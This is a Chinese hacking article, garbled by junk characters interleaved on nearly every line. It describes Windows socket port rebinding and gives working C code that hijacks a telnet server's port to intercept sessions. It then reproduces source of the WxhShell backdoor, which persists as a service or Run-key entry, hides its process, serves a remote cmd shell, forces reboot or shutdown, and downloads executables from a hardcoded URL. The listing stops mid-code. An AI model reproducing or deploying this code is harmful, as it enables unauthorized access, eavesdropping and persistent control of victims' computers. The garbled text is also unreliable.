在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
mPJ@hr%3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tb/`*Yl@ sa
w saddr.sin_family = AF_INET;
WbJ
W'{o`O=GGr saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6(8zt"E /K :H2?J bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
r<OqI*7 `dJ?j[P,p 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Y.KJP ? ,Q,3^v- 这意味着什么?意味着可以进行如下的攻击:
$J9/AFzO" 63HtZ=hO7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
BT|n+Y[ OMm'm\+/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&xE+PfX lXip%6c7
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
AsO)BeUD 7bL48W<QD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
x\b+B
`N;O6
wZ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;7U"wI_~c )^7- qy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3B5 `Y icN#8\E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}WnoI2 2[I[I*"_d #include
9t+:L(*pK #include
$g '4' #include
PMZ*ECIJU #include
(".WJXB\ DWORD WINAPI ClientThread(LPVOID lpParam);
c F}9ldc int main()
IeAUVRS) {
IPk"{T3 WORD wVersionRequested;
hx
hs>eY DWORD ret;
:Fdk`aC WSADATA wsaData;
N4w&g- BOOL val;
} QpyU% SOCKADDR_IN saddr;
V`xE&BI SOCKADDR_IN scaddr;
,B$e'KQ int err;
So]O`RJv SOCKET s;
J<-2dvq SOCKET sc;
&24>9 int caddsize;
zv~b-Tp HANDLE mt;
$j&2bO5M DWORD tid;
Idr|-s%l6' wVersionRequested = MAKEWORD( 2, 2 );
eb7~\|9l1i err = WSAStartup( wVersionRequested, &wsaData );
Hr/Q?7g if ( err != 0 ) {
`q+Ug printf("error!WSAStartup failed!\n");
'J: xTp return -1;
?<~P)aVVj }
wj9Hh saddr.sin_family = AF_INET;
m_b_)/ [Y8ot-6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Gl3bkQ hSXZu?/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
UB7C,:" saddr.sin_port = htons(23);
^K[[:7Aem if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4_w{~ {
PY[!H<tt printf("error!socket failed!\n");
Vc&xXtm[v return -1;
D`NQEt"( }
NLZUAtx( val = TRUE;
M9/J!s //SO_REUSEADDR选项就是可以实现端口重绑定的
p1fy)K2{,j if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]Ab$IKY {
&NK6U printf("error!setsockopt failed!\n");
j,v2(e5: return -1;
"2GssBa }
pF7S("#R //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
E[tEW0ub //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J"
U!j //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
o_?A^u -bp7X{& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
6mC% zXR5 {
0]2@T=*kTY ret=GetLastError();
*7K)J8kq printf("error!bind failed!\n");
1VB{dgr return -1;
0ae}!LO }
\g:Bg%43h listen(s,2);
e`;U9Z while(1)
&I?d(Z=:\ {
kRB2J3Nt. caddsize = sizeof(scaddr);
E7j9A` //接受连接请求
!\|L(Paf sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
v}&J*}_XZ if(sc!=INVALID_SOCKET)
]t;bCD6* {
<26Jif: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
q[TW if(mt==NULL)
9FmX^t$T {
qrY]tb^K printf("Thread Creat Failed!\n");
X;3gKiD break;
?o_D#gG* }
,{sCI/ }
*+>QKR7 CloseHandle(mt);
ePe/@g1K* }
"U
iv[8B closesocket(s);
hlBqcOpkKg WSACleanup();
)}4xmf@gl return 0;
cfUG)-]P~ }
FWuk@t[<O DWORD WINAPI ClientThread(LPVOID lpParam)
i`EG80\[Z {
qh/}/Sl; SOCKET ss = (SOCKET)lpParam;
EALgBv>#ZL SOCKET sc;
T<~?7-O" unsigned char buf[4096];
)U:W
9% SOCKADDR_IN saddr;
<9aa@c57 long num;
CYN")J8V DWORD val;
_rfGn,@BH DWORD ret;
3<ry/{#% //如果是隐藏端口应用的话,可以在此处加一些判断
w[s}#Q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
lvIdYf$? saddr.sin_family = AF_INET;
@1+({u#B saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
OM#eJ,MH<) saddr.sin_port = htons(23);
Nx<%'-9)| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z#t;n {
5hE mXZ% printf("error!socket failed!\n");
fz`\-"f] return -1;
LABLT;c }
yn KgNi val = 100;
9vJ'9Z2\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.?;"iv+ {
U$AV"F&!&} ret = GetLastError();
ec"+Il return -1;
Oo8"s+G }
d(;Qe}ok> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Wf5ohXm> {
m7NrS?7 ret = GetLastError();
p^?]xD( return -1;
jt4c*0z }
<hmRr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
KcF#c_f
{
=Vi>?fWpn= printf("error!socket connect failed!\n");
AJR`ohh closesocket(sc);
cj9<! "6 closesocket(ss);
FdMxw*} return -1;
UN7J6$!Cx7 }
^HI}bS1+| while(1)
wsyAq'%L {
b%D}mxbS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ky|Py //如果是嗅探内容的话,可以再此处进行内容分析和记录
l]KxUkA+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
-`} d@x num = recv(ss,buf,4096,0);
Kf'oXCs if(num>0)
J?84WS send(sc,buf,num,0);
`HJRXoLySW else if(num==0)
9zD^4j7 break;
Sz'JOBp num = recv(sc,buf,4096,0);
,[|4{qli\ if(num>0)
dEW I8Q] send(ss,buf,num,0);
I-o|~ else if(num==0)
ylBjuD+ break;
i9quP"<9 }
J#jx)K! closesocket(ss);
&/tGT3) closesocket(sc);
I+_u?R)$ return 0 ;
}
2P,Z 6L }
2]/[ !i*bb~ OAd}#R\U ==========================================================
(| X? )|CF)T- 下边附上一个代码,,WXhSHELL
kSH|+K\M4 !(-S?*64l ==========================================================
sU 5/c|& V
j"B/@ #include "stdafx.h"
j SX VLyz y%=t((.Z #include <stdio.h>
Cz]NSG 5 #include <string.h>
)%=oJ!) #include <windows.h>
Q
R<q[@)F #include <winsock2.h>
gQ~X;' #include <winsvc.h>
:;u?TFCRx #include <urlmon.h>
89X`U)Ws "L~qsFL #pragma comment (lib, "Ws2_32.lib")
sQ>L3F;A` #pragma comment (lib, "urlmon.lib")
~(/OB
w F)^:WWVc# #define MAX_USER 100 // 最大客户端连接数
~Bs=[TNd[ #define BUF_SOCK 200 // sock buffer
>{huaN B #define KEY_BUFF 255 // 输入 buffer
ew{(@p+$ B0#JX
MX9 #define REBOOT 0 // 重启
6N {|;R@2 #define SHUTDOWN 1 // 关机
6
s1lf! c2d=dGP>~f #define DEF_PORT 5000 // 监听端口
Hj^_Cp]@* y7WO:X& #define REG_LEN 16 // 注册表键长度
Aq:1 #define SVC_LEN 80 // NT服务名长度
`UDB9Ca hRKA,u/G // 从dll定义API
<u%&@G$F> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5
Yf
T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_"R /k`8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
A6#5 z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
1Xj>kE:
*aT\V64 // wxhshell配置信息
)mF;^3 struct WSCFG {
=w <;tb int ws_port; // 监听端口
sGs_w:Hn char ws_passstr[REG_LEN]; // 口令
7.N~e}p8 int ws_autoins; // 安装标记, 1=yes 0=no
\OX;ZVb?5 char ws_regname[REG_LEN]; // 注册表键名
fNTe_akp char ws_svcname[REG_LEN]; // 服务名
eJ
O+MurO char ws_svcdisp[SVC_LEN]; // 服务显示名
TDo!yQ char ws_svcdesc[SVC_LEN]; // 服务描述信息
oUG!=.1}K5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
K:\db'`` int ws_downexe; // 下载执行标记, 1=yes 0=no
(np60mX< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%
A8dO+W char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/3ty*LQT B6gn(w3 };
!w}cKm vRn"0Mzl8 // default Wxhshell configuration
^B`*4 struct WSCFG wscfg={DEF_PORT,
FyV)Nmc%t "xuhuanlingzhe",
jdWA)N}kDG 1,
0k\BE\PQk "Wxhshell",
1L\\](^
3 "Wxhshell",
#2\
0#HN "WxhShell Service",
xpjv@P "Wrsky Windows CmdShell Service",
aHdXlmL "Please Input Your Password: ",
3(n+5~{e 1,
<1(j&U "
http://www.wrsky.com/wxhshell.exe",
=@EX!]=x "Wxhshell.exe"
(h3f$ };
Oj ?
|g_ IGC:zZ~z // 消息定义模块
O${B)C, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
N,M[Opm char *msg_ws_prompt="\n\r? for help\n\r#>";
LWp#i8, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
F T/STI char *msg_ws_ext="\n\rExit.";
6)_svtg char *msg_ws_end="\n\rQuit.";
ltH?Ew<] char *msg_ws_boot="\n\rReboot...";
?ot7_ vl char *msg_ws_poff="\n\rShutdown...";
3!:?OUhx char *msg_ws_down="\n\rSave to ";
EiP#xjn?c 1FfSqd char *msg_ws_err="\n\rErr!";
:497]c3#5C char *msg_ws_ok="\n\rOK!";
pX~X{JTaL) M~jV"OF= char ExeFile[MAX_PATH];
S%t*! int nUser = 0;
Q"+)xj HANDLE handles[MAX_USER];
PUJkC int OsIsNt;
48 n5Y~YS gcKXda( SERVICE_STATUS serviceStatus;
>.X& v SERVICE_STATUS_HANDLE hServiceStatusHandle;
?\7$63gBH !:<(p // 函数声明
#Z)8,N int Install(void);
aUTXg60l* int Uninstall(void);
ta'{S=^j int DownloadFile(char *sURL, SOCKET wsh);
'W2B**} int Boot(int flag);
?7]UbtW[ void HideProc(void);
/ 80Q int GetOsVer(void);
2Sg^SZFH+o int Wxhshell(SOCKET wsl);
,/uVq G void TalkWithClient(void *cs);
0
P]+/ int CmdShell(SOCKET sock);
> q!:* int StartFromService(void);
ZP}NFh%,u int StartWxhshell(LPSTR lpCmdLine);
b|KlWt' f0d*% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}mx>3G{d VOID WINAPI NTServiceHandler( DWORD fdwControl );
p|f5w"QcH )=]u]7p} // 数据结构和表定义
-cL{9r&X SERVICE_TABLE_ENTRY DispatchTable[] =
&}q;," {
f+xhS,iDR {wscfg.ws_svcname, NTServiceMain},
T4lE-g2%M {NULL, NULL}
<T|?`;K };
W#@Mx V9dJNt'Ui // 自我安装
41Nm+$m int Install(void)
zD z"Dn9 {
;?K>dWf3f char svExeFile[MAX_PATH];
%Xfy.v HKEY key;
{I:nza strcpy(svExeFile,ExeFile);
zlhHSy K nQ5N\RAZ // 如果是win9x系统,修改注册表设为自启动
z 7
s&7)a if(!OsIsNt) {
J%mtlA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C1ZuDL)e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r]<?,xx[ RegCloseKey(key);
)' 3V4Z& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
% r>v^1Vo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"k'P
#v{f RegCloseKey(key);
lc8zF5 return 0;
8EBy5X}US }
OoqA`%
}
u>y/<9]q8 }
1> IA9]D7 else {
z3mo2e w$1B|7tX;2 // 如果是NT以上系统,安装为系统服务
Ht_7:5v& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|JVp(Kx if (schSCManager!=0)
#P)(/>nF {
u P&< SC_HANDLE schService = CreateService
ZtofDp5B (
D%%@+3a schSCManager,
D]StDOmM wscfg.ws_svcname,
"t!_bma wscfg.ws_svcdisp,
"eb+O SERVICE_ALL_ACCESS,
!bGMVw6_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
__OH
gp 1 SERVICE_AUTO_START,
31)eDs SERVICE_ERROR_NORMAL,
_>=QZ`!r svExeFile,
'U/X<LCl NULL,
P3op1/Np NULL,
nSR<( -j! NULL,
1 LUvs~Qu NULL,
@5:#J! NULL
}*>xSb1 );
3Q\k!$zq if (schService!=0)
*Al`QEW {
Q@aDa 8Z CloseServiceHandle(schService);
:|TQi9L$rj CloseServiceHandle(schSCManager);
\{K~x@` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^9`S`Bhp strcat(svExeFile,wscfg.ws_svcname);
9tBE=L= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(D~NW*,9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<Dq7^,}# RegCloseKey(key);
{wwkbc* return 0;
e.l3xwt>$ }
[MI ? }
7S.E,\Tws CloseServiceHandle(schSCManager);
sOb=+u$$9 }
m(rd\3d }
^W* 3S[-`g trm-&e7q?; return 1;
7:Be.(a }
x$+g/7* 5q 95.rw // 自我卸载
5JggU int Uninstall(void)
<F6LC_ {
j3&tXZ;F HKEY key;
~;D5j ) 9I sB+
B,DF if(!OsIsNt) {
Y'eE({)<K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
s_RUb RegDeleteValue(key,wscfg.ws_regname);
rOA{8)jIa* RegCloseKey(key);
Ds@nuQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C]GW u~QF RegDeleteValue(key,wscfg.ws_regname);
[\,Jy8t)\ RegCloseKey(key);
V \Sl->: return 0;
a"bael }
#.W^7}H }
?f&O4H }
gv}J"anD else {
}J m~b9j D\-D~G]x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>#EOCo if (schSCManager!=0)
['JIMcD {
c6~<vV'} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1 Q6~O2a if (schService!=0)
||^+( {
7?W1i{( if(DeleteService(schService)!=0) {
&)Z]nNVb CloseServiceHandle(schService);
?v@pB>NZ CloseServiceHandle(schSCManager);
"Kc1@EX= return 0;
i=AQ1X\s }
a*bAf'= CloseServiceHandle(schService);
Su*f`~G]; }
6!$2nK+ CloseServiceHandle(schSCManager);
>NMq^J'/ }
Gm.2!F=R4A }
}y&tF'qG linvK.Lf return 1;
}
3JOC!;; }
bW?cb5C &E0L 2gbI // 从指定url下载文件
Q1^kU0M } int DownloadFile(char *sURL, SOCKET wsh)
v)s;
wD {
" gQJeMU HRESULT hr;
:@]%n~x char seps[]= "/";
45U!\mG char *token;
(Y:?qy char *file;
AZf$XHP2 char myURL[MAX_PATH];
+XoY@|Djd char myFILE[MAX_PATH];
=kDh: &u% +Vw]DLWR strcpy(myURL,sURL);
Y |'}VU token=strtok(myURL,seps);
M=#'+CF}W while(token!=NULL)
-APbN(Vi {
:O/QgGZN$ file=token;
R}T\<6Y token=strtok(NULL,seps);
X6G2$| }
}[b3$WZ D0VbD" y GetCurrentDirectory(MAX_PATH,myFILE);
6`V~cVu strcat(myFILE, "\\");
d$#DXLA\P strcat(myFILE, file);
YF68Ax] send(wsh,myFILE,strlen(myFILE),0);
Ac8t>;=& send(wsh,"...",3,0);
Mi:i1i
cdn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
v18OUPPX if(hr==S_OK)
qj1Fj return 0;
1dl(`=^X else
aU?HIIA return 1;
%[WOQ.Sh ~fY\; }
'j'G4P_G fp?cb2'7 // 系统电源模块
{vox
x&UX int Boot(int flag)
O%*:fd,o- {
-W.bOr HANDLE hToken;
Wo+^R%K'4 TOKEN_PRIVILEGES tkp;
Y^-D'2P]P "/0Vvy _| if(OsIsNt) {
L7PMam OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
M+GtUE~" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
F42?h:y8I tkp.PrivilegeCount = 1;
QQ\\:]iM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
k<QZ_*x}G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
e_3($pj if(flag==REBOOT) {
5# B M if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Zr|z!S?aSC return 0;
&h'NC%"v }
M~Ph/ else {
5 nS}h76mZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
H{I,m- return 0;
s}g3*_" }
|oX1J<LM }
]:}x 4O# else {
6oy[0hj if(flag==REBOOT) {
/0(c-Dv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
BNq6dz$ J return 0;
;X%8I$Ba, }
C8AR^FW else {
T07 AH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
80"oT'ZFh return 0;
P 9?I]a)G }
-muP.h/ }
I/)*pzt8 N?><%fra return 1;
~'VVCtA }
KSQ*HO)5 Ws;X;7tS // win9x进程隐藏模块
vpz l{ void HideProc(void)
e`bP=7`0 {
~*hCTqHvN j5MUP&/g3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
t`pbEjE0K if ( hKernel != NULL )
ZDbzH=[ {
rj/1AK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
L!0}&i;u~5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
r;@"s g FreeLibrary(hKernel);
FE3uNfQs| }
EpB3s{B" DA^!aJ6iF return;
:Ny^-4-N }
f6`W(OiE m;{(U Z // 获取操作系统版本
#Q$e%VJ(c1 int GetOsVer(void)
L3Ivm: {
vY);7 OSVERSIONINFO winfo;
pMV ?vH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
u]sxX") GetVersionEx(&winfo);
c]A @'{7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zvR;Tl6] return 1;
iiv`ji else
C@!bd+' return 0;
m*vz }
V<Co!2S hQwUwfoe@ // 客户端句柄模块
21z@-&Oq int Wxhshell(SOCKET wsl)
<{IeCir {
TFDzTD SOCKET wsh;
7[:?VXQ struct sockaddr_in client;
l._g[qa DWORD myID;
=4
NKXP~C $J =`fx while(nUser<MAX_USER)
{=6CL'_ {
Qq3>Xv < int nSize=sizeof(client);
fU|4^p) wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9 e;8"rJ?C if(wsh==INVALID_SOCKET) return 1;
fE1VTGfd: &Y1RPO41J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
z-^/<u1p if(handles[nUser]==0)
2hY"bpGW closesocket(wsh);
k_`YVsEYP else
uTNy{RBD+ nUser++;
uoTc c|Kc }
A9y@v{txN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]sJjV
A Uj^Y\w-@Z return 0;
j+[oZfH }
|}Mt hj9n ce7$#
# f // 关闭 socket
>OKc\m2%Q void CloseIt(SOCKET wsh)
<.:mp1,8V {
<vd}oiB@ closesocket(wsh);
85BB{T; nUser--;
`a5,5}7v%` ExitThread(0);
s:ojlmPb }
YM#J_sy@J. ]l^"A~va // 客户端请求句柄
zqxN/H]z void TalkWithClient(void *cs)
?MOjtAG0_~ {
)i[K1$x2 X0 ]Se( SOCKET wsh=(SOCKET)cs;
WF-^pfRq~ char pwd[SVC_LEN];
f('##pND@ char cmd[KEY_BUFF];
BO0Y#fs char chr[1];
K0Lc~n/ int i,j;
`d4;T|f+= 3`Dyrj#! while (nUser < MAX_USER) {
{7.uwIW.1 c=aVYQ"2 if(wscfg.ws_passstr) {
,.AXQ#~&` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>nO[5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Rp
!Rzl< //ZeroMemory(pwd,KEY_BUFF);
lL&p?MUp i=0;
<7o@7r'0 while(i<SVC_LEN) {
WS"v"J% ,{d=<j_ // 设置超时
?ZYj5[op,H fd_set FdRead;
2=$ F*B>9 struct timeval TimeOut;
)h1 `?q:5 FD_ZERO(&FdRead);
*~^%s+b FD_SET(wsh,&FdRead);
;ZTh(_7 TimeOut.tv_sec=8;
Yu:($//w TimeOut.tv_usec=0;
V o%GO9b; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
eBqF@'DQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
64D4*GQ D0yH2[j+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
6>b'g
~I pwd
=chr[0]; )2J#pz?.
if(chr[0]==0xd || chr[0]==0xa) { EUS^Gtc
pwd=0; 1-Q>[Uz,
break; ceAefKdb
} Ryn@">sVI
i++; u?KG%
} +f,I$&d.V
r@ba1*y0
// 如果是非法用户,关闭 socket BJjx y0+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pt7C/
qM/
} }DQ[C&
9`!#5i)VU8
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Q'O]h0a
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eNrwkV^
ZK8DziO
while(1) { D!D}mPi[
>Sm#-4B-
ZeroMemory(cmd,KEY_BUFF); qG0gc\C}
i8.OM*[f
// 自动支持客户端 telnet标准 RY*yj&?w[
j=0; e r"gPW
while(j<KEY_BUFF) { <<6gsKP
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fa,;Sw
cmd[j]=chr[0]; ~TjTd
if(chr[0]==0xa || chr[0]==0xd) { `!.c_%m2
cmd[j]=0; d{DBG}/Yg
break; x)T07,3:
} :s|xa u=
j++; 6+Y@dJnPT
} EI@ep~
kv`5"pa7M
// 下载文件 +'UxO'v3]
if(strstr(cmd,"http://")) { t_Ul;HVPS
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +Q!Kj7EU/
if(DownloadFile(cmd,wsh)) o+?Ko=vYw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qGgdWDn`
else a2H_8iQ!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q]-r'pYr
} `;&=m,
W'
else { K\$z,}0
e_Q(l'f
switch(cmd[0]) { > u=nGeO
{>l`P{{y
// 帮助 cQh=Mri]
case '?': { yJw4!A 1!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /(bn+l}W
break; qGie~S ##
} y |Tv;v1L
// 安装 IE&G7\>(yO
case 'i': { [q!)Y:|u_>
if(Install()) IF3 V5Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AI2 >{V
else VM"*@T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7s1LK/R|u
break; NjSjE_S2B8
} Fprhu;h
// 卸载 6
i]B8Ziq{
case 'r': { #^q@ra
if(Uninstall()) %$F\o1S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sUsIu,1Q
else V_pKe~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5@~5RNrq2
break; Fr9_!f
} DJHE6XJ
// 显示 wxhshell 所在路径 RQ[6svfP
case 'p': { Q3x.qz
char svExeFile[MAX_PATH]; 2LH.I f
strcpy(svExeFile,"\n\r"); #NWc<Dd
strcat(svExeFile,ExeFile); ,y/N^^\
send(wsh,svExeFile,strlen(svExeFile),0); ) 2Hl\"F
break; +K[H!fD
} ZAMS;e+e
// 重启 F6)/Iiv
case 'b': { DKqO5e\l8@
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %:[Y/K-
if(Boot(REBOOT)) Mhg_z.Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 *HBb-
else { (1Ii86EP
closesocket(wsh); j es[a
ExitThread(0); G-sA)WOF
} !u|s|6{\
break; %R1$M318
} <2 S?QgR,
// 关机 l%$co07cX
case 'd': { B!z5P"C(~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9$P*fx&m
if(Boot(SHUTDOWN)) A+F@JpV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $9O%,U@
else { /h73'"SpDy
closesocket(wsh); W=T,hOyh<W
ExitThread(0); Fs)m;C
} 4f>
s2I&pQ
break; 5R7DD 5c[
} !RwOUCk
// 获取shell 3L(vZ2&
case 's': { z8hAZ?r1`
CmdShell(wsh); n:[GK_
closesocket(wsh); 9dD;Z$x&Xk
ExitThread(0); zAdZXa[MRY
break; ;?0r,0l2$
} ^{Y9!R*9U*
// 退出 0|_d{/VK4
case 'x': { >R}p*=J
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9q!./)
CloseIt(wsh); xBi``x2eY
break; ]pP [0S
} yjxv D
// 离开 +cnBEv~y
case 'q': { RP4P"m(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); I<ta2<h
closesocket(wsh); AVbGJ+
WSACleanup(); ygquQhf5
exit(1); ,,[pc
break; wsLfp82
} zwJVi9sO
} =HkB>w)h
} x4vowF
..hD_k
// 提示信息 _lj&}>l
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :Pf2oQ
} l TRQ/B
} Zm!5X9^!
csay\Q{
return; k3B-;%3I;
} B)4>:j:{?W
)mw&e}jRV
// shell模块句柄 !%4&O
int CmdShell(SOCKET sock) q
k+(Ccl
{ }hv" ku6!
STARTUPINFO si; Iz[ T.$9
ZeroMemory(&si,sizeof(si)); B#U:6Ty
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #$[}JiuL/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5?n@.hcL
PROCESS_INFORMATION ProcessInfo; rVo?I
char cmdline[]="cmd"; NYcF]K}[
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kX^Y{73
return 0; 52JtEt7E
} #ig* !
<^(g<B`>
// 自身启动模式 &.}Zj*BD
int StartFromService(void) CsND:m
{ .[KXO0Ui6u
typedef struct {g(-C&
